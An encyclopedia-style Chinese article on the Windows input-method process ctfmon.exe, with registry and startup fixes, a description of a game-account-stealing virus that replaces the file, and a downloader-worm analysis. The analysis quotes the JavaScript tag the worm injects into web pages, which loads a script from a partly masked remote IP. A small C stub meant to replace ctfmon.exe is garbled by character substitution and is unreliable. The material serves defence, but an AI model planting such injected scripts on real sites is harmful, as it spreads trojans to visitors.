ctfmon.exe

Ctfmon.exe 監視活動窗口，併為語音識別、書寫識別、鍵盤、翻譯和其他中文可選用户輸入方法技術提供文本輸入服務支持。

網絡上有大量主張中止ctfmon進程的討論，但是在windows vista，windows 2008,windows 7中，缺少ctfmon進程會引起輸入法的不正常行為，常見的情況是用户忽然無法在輸入法開啓的情況下，以按空格的方式輸入可選字的第一個字的情況，剛按下空格時，輸入法即被切換為英文。

在這種情況下，仍然可以用數字鍵來選擇要輸入的文字。

解決辦法是重新運行 ctfmon 進程。方法是：

⒈右鍵“開始”菜單，選擇“運行”。

⒉輸入：ctfmon.exe

⒊點擊“運行”按鈕。

程序ctfmon.exe，XP下系統默認情況下是隨電腦開機而自動啓動的（Win7雖然也有此文件，但並不會隨系統自動啓動） ^[1]  。如果你設置了ctfmon.exe不隨機自動啓動，進入系統後你的電腦任務欄中的輸入法圖標（即語言欄）就不見了。

要設置ctfmon.exe隨機自動啓動，可以單擊“開始”→；“運行”→；輸入“msconfig”（引號不要輸入），回車→；打開“系統配置使用程序”窗口→；選擇“啓動”頁，找到ctfmon項並在其前面打上鈎，按“應用”、“確定”，重啓機器即可生效。

家裏系統是Windows7的，不能像XP的選項操作，如果ctfmon.exe並沒有刪除，可工具欄選項上沒有語言欄的選項的話，打開操作面板\區域和語言\鍵盤和語言\更改鍵盤\語言欄，將“停靠於任務欄”和“在任務欄中顯示其他語言欄圖標”勾上即可。

如果在“啓動”頁，找不到ctfmon項，説明註冊表中已將該項刪除，可以單擊“開始”——＞；“運行”——＞；輸入“regedit”（引號不要輸入），回車——＞；打開“註冊表編輯器”，定位到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run，在窗口的右側新建名字為ctfmon.exe的字符串值（REG_SZ），並將其值設置為“C:\WINDOWS\system32\ctfmon.exe”，然後關閉註冊表編輯器，再執行前一步的操作即可。

當語言欄消失，且無法通過工具欄恢復時，我們也可以從系統盤中的\WINDOWS\system32\ctfmon.exe找到ctfmon.exe文件並複製，然後點擊“開始”菜單，找到啓動選項，右擊啓動——打開，然後把複製的ctfmon.exe文件粘貼到打開的啓動文件夾中。

如果不運行高級文字服務，Ctfmon.exe 幾乎不使用系統資源。高級文字服務是 Ctfmon.exe 通過 TIP 控制的輸入技術（語音識別、書寫識別和輸入方法編輯器）。

Ctfmon.exe 是負責控制中文可選用户輸入方法技術的文件。它啓動語言欄組件（在任務欄中），並一直在後台運行，甚至在退出 Office XP 程序之後也是如此。每次啓動 Windows 時，它也會啓動，並一直在後台運行，而與 Office XP 程序是否啓動無關。不能根據需要加載和卸載中文可選用户輸入方法系統。在安裝 Office XP 中文可選用户輸入方法組件後，Ctfmon.exe 在 Windows 會話期間繼續在後台運行。

如何解決關閉 ctfmon.exe後出現輸入法切換快捷鍵亂掉

注意：以下的處理方法不能保證完全不會危害您的計算機。請在採用之前認真考慮。

如果你的win2000系統裝了officeXP或以上版本，它會在你和系統裏留下一個ctfmon.exe文件，並自動啓動運行，他困擾了無數的網友。

首先我們來説一下它對用户界面和操作體驗的一些影響。

⒈ 無論打開什麼窗口，總會彈出一個輸入法工具體，並且默認是中文輸入。

⒉ 它替換了原來的區域和輸入法設置，並以一個文字服務的設置取而代之，而且不能設置默認的輸入法。

⒊ 結束掉原來的輸入法工具進程internat.exe，並令他不能在開機時起動。

⒋ 將自己放在開機時啓動的程序列表中，除非修改註冊表，否則無法去除。

⒌ 像病毒一樣有重生能力，當你把ctfmon.exe刪了以後，他又會隨着Office的啓動而重新生成。

⒍ 當你結束了ctfmon.exe後，經常會出現輸入法切換快捷鍵亂掉的情況。

第一步：右擊任務欄空白處，點“任務管理器”。

第二步：找到ctfmon.exe，並終止它。

第三步：在系統目錄下的system32目錄下找到ctfmon.exe，刪除掉。

第四步：寫一個最簡單的api程序（代碼見附錄），編譯後放到ctfmon.exe所在目錄，並更名為ctfmon.exe。

第五步：點擊“開始”菜單，點擊“運行”，輸入internat.exe後點擊確定。

第六步：重啓計算機。

附：

⒈ 程序代碼如下：（注意：以下程序需要用Visual C++編譯。）

#include <windows.h>

int APIENTRY WinMain(HINSTANCE,HINSTANCE,LPTSTR,int)

{HANDLE m_hMutex = CreateMutex(NULL,TRUE,"ctfmon.exe");

if(GetLastError() != ERROR_ALREADY_EⅪSTS)

while ⑴ Sleep(INFINITE);

return 0;}

⒉ 如果執行後發現word的輸入法無法正確使用，解決辦法如下：

第一步：打開word

第二步：點擊“工具”菜單中的“選項”子菜單。點擊“編輯”選項卡。

第三步：清除“輸入法控制處於活動狀態”的複選。點擊“確定”

第四步：點擊“工具”菜單中“語言”子菜單中的“設置語言”項。

第五步：在列表中選擇“英語 美國”，點擊確定。

第六步：關閉Word，重啓計算機。

另外的解決方法：開始－運行－輸入“regedit”－找到“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts”－在下面的分支找到美國英語刪除就行了

ctfmon相關(5張)

如果使用了非微軟拼音輸入法，那麼就沒必要隨即開啓ctfmon.exe程序，讓它佔用有限的資源。比如習慣使用搜狗拼音輸入法的用户，如果安裝了Office軟件，就會默認安裝微軟的拼音輸入法，對不使用它的用户完全可以設法關閉它！具體的步驟是：開始→控制面板→添加或刪除程序→更改或刪除程序→點選MOffice相關程序項→更改→選中添加或刪除功能→繼續→安裝選項→點開Office 共享功能→點擊微軟拼音輸入法不可用→繼續。由於安裝Office程序的時候是默認安裝微軟輸入法，那麼它的ctfmon.exe程序就會隨機啓動，如要關閉它可以在註冊表中刪除隨機啓動項即可，在運行中輸入：regedit 回車打開註冊表定位到以下路徑（刪除ctfmon鍵值即可）：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ctfmon.exe ^[2] 

如果你懷疑此進程有些不正常，那麼我們用下面的一些方法快速的察覺出Ctfmon.exe相關的病毒,若發現情況建議馬上更新殺毒軟件最新病毒庫並對電腦全盤掃描。

1、如果發現Ctfmon.exe不在System32目錄下；

2、如果此進程發現佔用資源太多；

3、如果Win7系統運行了Ctfmon.exe；

2010年，可牛安全中心截獲到了一種替換系統ctfmon.exe的病毒（潛行者病毒）。隨後，“ctfmon.exe病毒”開始呈爆發式傳播，牢牢佔據病毒排行榜的第一位。

“感染系統ctfmon.exe”文件病毒爆發，數百萬網遊玩家可能被盜號！

“該病毒”以感染Windows系統文件ctfmon.exe作為跳板，繞過殺毒軟件及網遊保護系統。一旦受感染的系統文件被網絡遊戲加載到內存，便會加載各種流行網遊盜號木馬（特徵是擴展名為drv），盜取《天龍八部》，《劍網三》，《QQ地下城勇士》，《CF》等流行網遊的賬號。同時，也會使遊戲過程中頻繁卡機。

截止今天，安全中心監測到有數百萬網遊玩家的電腦感染了ctfmon.exe病毒，造成ctfmon.exe等系統文件丟失，以及網遊賬號被盜。

盜號木馬偽裝ctfmon.exe等系統文件伺機盜取網遊賬號

2009年開始，木馬感染系統文件成為新趨勢。“系統文件替換病毒”的出現，意味着網遊盜號產業進一步細化分工，可以為了繞過安全軟件和網遊保護而製作一種獨立病毒。在過去，木馬為了侵入網遊，必須在啓動項中進行加載，所以安全軟件可以通過啓動項檢查發現是否有木馬進入系統。而像“ctfmon.exe病毒”這種通過感染ctfmon.exe文件，從而將木馬加載進網遊進程的形勢，可以繞過大多數安全軟件的檢測。這也是“系統文件感染病毒” 至今沒有被主流殺軟查殺的原因。

多數殺毒軟件對“潛行者”病毒無法查殺，或查殺後造成系統找不到ctfmon.exe文件，導致運行網遊時彈出系統文件丟失提示。從百度、谷歌等搜索引擎搜索量情況來看，網友對ctfmon.exe文件的搜索量持續回升， 也可以確定網友對殺毒軟件只管查殺，不管修復是如此無奈。

安全中心建議，《天龍八部》、《劍網3》、《QQ地下城與勇士》、《穿越火線》等網遊的玩家，立即運行《可牛免費殺毒》進行全盤掃描，檢測系統是否已經被“ctfmon.exe病毒”入侵。

如果因其他殺軟查殺，導致電腦出現ctfmon.exe文件丟失，可以使用ctfmon.exe可牛系統文件修復工具進行系統文件完美修復！

步驟1：將Windows XP安裝 光盤插入你的光驅，然後依次點擊“開始→運行”。

步驟2：在“運行”窗口中輸入“expand x：\i386\rundll32.ex_c：\windows\system32 \rundll32.exe”命令並回車執行（其中“x”為光驅的盤符）。

步驟3：修復完畢後，重新啓動系統即可。 ^[3] 

感染蟲下載器45056Win32.Troj.Downloader.c.45056

這是一個蠕蟲病毒。（蠕蟲病毒比以前少了很多，但對局域網的影響會很大）

該病毒運行後，會指定的網絡上下載病毒程序，並且會搜索局域網內機器，以弱口令進行嘗試性連接

一旦連接成功，則判斷該機器弱口令是否有足夠的權限，有則向該遠程機器發送惡意數據，然後利用windows漏洞來下載程序，予以執行.

⒈病毒運行後，產生以下病毒文件

%WINDIR%\ SYSTEM32\tmipo.bat

%WINDIR%\ SYSTEM32\taimpo.txt

⒉添加病毒啓動項

啓動項名：svchost對應路徑：%Documents and Settings%\Administrator\桌面\ctfmon.exe

⒊病毒會觸發taimpo.bat病毒文件，用來關閉"360安全衞士",使用户的安全性能降低.

⒋病毒會檢測連接的遠程機器，當遠程機器的登錄木馬是弱口令時，則會對該機器進行攻擊，最後下載adi.vbs到用户機器上.

⒌遍歷磁盤，查找*.htm、*.PHP、*.ASP等網頁文件，開始感染，插入一段JS代碼：

script language=javascript src=http://218.**.**.248/qq.js

這段腳本病毒，可能會被用作下載更多的木馬程序，利用蠕蟲攻擊傳播，利用下載器種植木馬，是目前黑客偷東西慣用的手法。

解決方案：

怕麻煩直接去下載專殺工具：

⒈刪除病毒生成的三個文件，可使用清理專家的文件粉碎器完成操作。

%WINDIR%\ SYSTEM32\tmipo.bat （%WINDIR%缺省是c:\windows目錄）

%WINDIR%\ SYSTEM32\taimpo.txt

%Documents and Settings%\Administrator\桌面\ctfmon.exe（偽裝成輸入法的程序名）

⒉使用金山衞士的修復功能，將病毒添加的註冊表啓動項刪除。

防範措施：

⒈最最重要的，是給系統打補丁，登錄系統一定要使用口令，就算是電腦只有自己一個人用，也需要安全的登錄口令，口令不能太簡單，以免被遠程攻擊工具猜解。（因為只要電腦接入互聯網，就能給木馬以機會.）

其它方案基本是相通的，不在綴述！

將殺毒軟件升級到最近版本進行查殺，如果查殺完畢後發現輸入法無法正常使用的情況，請下載附件中的文件，將其解壓後複製到“C:\Windows\system32\” 文件夾即可解決。

備註：如果 ctfmon.exe 位於在目錄 C:\Windows下，那麼威脅危險度是 70%。文件大小是 2,811,732 字節 （佔總出現比率 37%），20,062 字節，50,670 字節，18,353 字節，95,744 字節。應用程序是不可見的。這是個不知名的文件存放於 Windows 目錄。這個不是 Windows 核心文件。沒有進程的相關資料。ctfmon.exe 是有能力可以 隱藏自身，監控應用程序。

ctfmon.exe （5.1.2600.1106）